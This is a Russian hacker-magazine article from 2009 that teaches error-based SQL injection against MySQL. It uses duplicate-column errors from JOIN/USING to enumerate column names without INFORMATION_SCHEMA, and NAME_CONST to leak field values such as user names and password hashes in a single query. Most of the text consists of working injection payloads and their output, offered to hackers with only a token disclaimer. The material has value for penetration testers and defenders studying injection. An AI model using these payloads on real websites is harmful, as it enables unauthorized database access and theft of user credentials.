Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 129, СЕНТЯБРЬ 2009 г.

Добиваем SQL. Новейшие способы работы с инъекциями

Qwazar (qwazar@antichat.net)

Не прошло и трех дней после сдачи моей прошлой статьи, как в голове родилась совершенно новая и куда более эффективная методика работы с Blind SQL Injection. Если ты помнишь, я рассказывал о том, как существенно уменьшить количество запросов к серверу при работе с уязвимостями такого рода. Сегодня я покажу поистине революционные приемы инъектирования. А ты внимательно слушай и конспектируй.

Разбираемся с именами столбцов

Начались мои исследования с попытки решить вторую основную проблему тех, кто работает с инъекциями в MySQL. Она заключается в невозможности получить имена таблиц и столбцов в MySQL 4-й ветки, не прибегая к полному перебору.

Насколько нам всем известно, в этой ветке начисто отсутствует системная таблица INFORMATION_SCHEMA.tables, и данные о таблицах, хранящихся в базе данных, нигде в виде, доступном для чтения, не содержатся. Эта особенность доставляет массу неудобств. Изначально задумка состояла в том, чтобы попытаться найти такую ошибку выполнения SQL-запроса, в которой выводится какая-нибудь информация о текущей таблице. Немного пошерстив документацию, обнаруживаем ошибку:

Error: 1060 SQLSTATE: 42S21 (ER_DUP_FIELDNAME)
Message: Duplicate column name '%s'

Забиваем текст в поисковик и видим: эту ошибку можно получить, если задать уже существующее имя колонки в оператор ALTER TABLE, или если неправильно воспользоваться оператором JOIN. Вариант с ALTER TABLE не подходит, так как его невозможно использовать в SELECT-запросе. Попробуем вариант с JOIN.

Для начала выясним, когда именно эта ошибка возникает в SELECT-запросе. Посмотрев документацию, выясняем, что эта ошибка возникает тогда, когда ты при помощи оператора SELECT пытаешься получить имя какой-нибудь колонки (к примеру, id) и тут оказывается, что колонок с именем id несколько. Оператор SELECT теряется и выплевывает ошибку. Мол, колонок с именем 'id' несколько, и он не знает, какая именно тебе нужна.

Теперь вспомним о том, что оператор JOIN используется для связывания двух таблиц между собой. Запускаем запрос с использованием JOIN:

mysql> select * from users join news;
+----+------+-----------+----------+----+-------+------------+
| id | name | passwd | is_admin | id | title | date |
+----+------+-----------+----------+----+-------+------------+
| 1 | Ivan | password1 | 1 | 1 | test1 | 22-12-2009 |
+----+------+-----------+----------+----+-------+------------+
1 row in set (0.00 sec)

И видим, что он вернул нам содержимое таблиц `users` и `news` в виде одной таблицы, причем имена колонок в таблицах остались прежними. То есть, у нас в выводимом результате – две колонки с именем 'id'. Попробуем получить значение поля 'id' из таблицы, составленной выше. Не забываем о том, что для сложных запросов MySQL требует указания алиасов для каждой таблицы, участвующей в запросе.

mysql> select * from (select * from users as a join news as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'

Отлично! Получили то, что хотели, осталось подумать, как при помощи подобного запроса получить имена всех столбцов, к примеру, таблицы `users`. Джойним ее саму с собой:

mysql> select * from (select * from users as a join users as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'

На выходе получаем имя первого столбца таблицы. Думаем, как получить остальные. Снова смотрим в документацию и находим оператор USING, который используется для указания списка столбцов, которые присутствуют в обеих таблицах:

USING (column_list) служит для указания списка столбцов, которые должны существовать в обеих таблицах. Такое выражение USING, как:
A LEFT JOIN B USING (C1,C2,C3,...)

семантически идентично выражению ON, например:

A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,...

То есть, объединив таблицы `news` и `users` и используя оператор USING() с параметром 'id', мы получим результирующую таблицу, в которой столбец с именем 'id' будет присутствовать только один раз. Пробуем:

mysql> select * from users a join news b USING(id);
+----+------+-----------+----------+-------+------------+
| id | name | passwd | is_admin | title | date |
+----+------+-----------+----------+-------+------------+
| 1 | Ivan | password1 | 1 | test1 | 22-12-2009 |
+----+------+-----------+----------+-------+------------+
1 row in set (0.00 sec)

Действительно, видим только один столбец с именем 'id', а значит и попытка получить столбец с именем 'id' из этой таблицы никакой ошибки не спровоцирует. Применим этот оператор для получения имен остальных полей из таблицы `users`, с учетом того, что имя 'id' мы уже знаем:

mysql> select * from (select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'name'

Ага, узнали еще одно имя столбца - 'name', пробуем дальше:

mysql> select * from (select * from users a join users b using(id, name))c;
ERROR 1060 (42S21): Duplicate column name 'passwd'

Узнаем имя третьего столбца. И так, один за другим, выявляем имена столбцов в этой таблице. В конце, когда выясним все имена, ошибки не будет, и запрос выполнится успешно.

mysql> select * from (select * from users a join users b using(id, name, passwd, is_admin))c;
+----+------+-----------+----------+
| id | name | passwd | is_admin |
+----+------+-----------+----------+
| 1 | Ivan | password1 | 1 |
+----+------+-----------+----------+
1 row in set (0.00 sec)

Делаем вывод, что в таблице `users` присутствуют столбцы 'id', 'name', 'passwd', 'is_admin'. Вроде бы все хорошо, но... метод не срабатывает на MySQL 4-й версии. Выясняется, что в четвертой версии при таком запросе возникает совершенно другая ошибка. Следовательно, все описанное выше может использоваться, только если по каким-либо причинам мы не можем воспользоваться таблицей INFORMATION_SCHEMA.tables в пятой или шестой версиях MySQL.

Взгляд под другим углом

Возможность получать имена столбцов без использования INFORMATION_SCHEMA – это, конечно, возможность полезная, но такая необходимость возникает довольно редко.

Разве что в слепых SQL-инъекциях, с возможностью вывода ошибки, где стандартный процесс получения значений занимает достаточно много времени. А тут пара запросов и все нужные значения получены. Хотелось бы выжать из этой ошибки большее...

Недавно мне в аську постучался jokester (Джок, большой тебе привет!) и предложил следующую идею: «А почему бы не попробовать выводить значение какого-либо поля из базы данных в тексте ошибки целиком, не прибегая к классическому использованию more 1 row?». «Идея отличная», - согласился я.

Он начал исследовать варианты составления запросов с использованием ORDER BY, которые при неправильном значении сортируемого поля выводят ошибку:

mysql> select * from users order by lala;
ERROR 1054 (42S22): Unknown column 'lala' in 'order clause'

Я же вспомнил о методе вывода имен колонок с использованием JOIN. Через некоторое время мы оба пришли к тому, что нужно найти какой-нибудь способ заставить базу данных воспринимать значение поля как имя колонки. Это обуславливается тем, что запросы, которые ругаются на неправильное имя колонки, есть, а запросов, которые ругаются на неправильные данные в таблице и при этом их выводят, - нет.

Отлично, задача поставлена, зарываемся в документацию. Находим интересную функцию в разделе «Miscellaneous Functions», с пометкой «for internal use only». Функция называется NAME_CONST(). Используется так: NAME_CONST(name,value). Результатом работы станет значение 'value' в столбце с именем 'name':

mysql> select name_const('Test', 111);
+------+
| Test |
+------+
| 111 |
+------+
1 row in set (0.00 sec)

Как раз то, что нужно! Проверим, возможно ли вместо значения 'value' выполнить какой-нибудь запрос. Достанем, к примеру, поле 'passhash' из таблицы 'users':

mysql> select name_const((select passhash from users where id=1), 111);
+----------------------------------+
| f8d80def69dc3ee86c5381219e4c5c80 |
+----------------------------------+
| 111 |
+----------------------------------+
1 row in set (0.00 sec)1 row in set (0.03 sec)


Отлично, все сработало, как надо - в имени столбца мы видим строку 'f8d80def69dc3ee86c5381219e4c5c80', которая является паролем первого пользователя из таблицы 'users'.

А теперь используем этот запрос в методе получения имен полей, без использования INFORMATION_SCHEMA. Аккуратненько составляем запрос, подставив вызов функции NAME_CONST вместо имени таблицы, в которой узнаем имена столбцов. Не забываем добавлять алиасы к каждой используемой таблице, и стараемся не запутаться в скобочках. Запускаем:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1)k)e)r;

ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'

Вот мы и добились, чего хотели. Теперь мы знаем, как достать из базы данных любое поле за один запрос! Попробуем вытащить больше чем одно поле при помощи функции CONCAT(), назначение которой объединять две и более строк. Например:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_CONST
((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)x)a
JOIN (SELECT NAME_CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r;
ERROR 1060 (42S21): Duplicate column name 'admin:f8d80def69dc3ee86c5381219e4c5c80'

Так мы и получили два поля за один запрос. К сожалению, бесконечно увеличивать количество выводимых полей невозможно, так как вывести более 64 символов не получится. Но эта проблема решаема, если использовать функцию SUBSTRING(), описание к которой ты без проблем найдешь в официальной документации.

Заключение

Далеко не все методики работы с уязвимостями исследованы до конца, вариантов упростить свою работу еще бесчисленное множество. Поэтому я бы хотел посоветовать всем хакерам иногда отвлекаться от тривиального взлома и уделять часть своего времени новым исследованиям. Ведь хакер это, в первую очередь, исследователь, не так ли?

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

WWW

INFO

Эти методы можно использовать и в обычных инъекциях. При их использовании не придется подбирать количество колонок в запросе.

Содержание
ttfb: 3.6630630493164 ms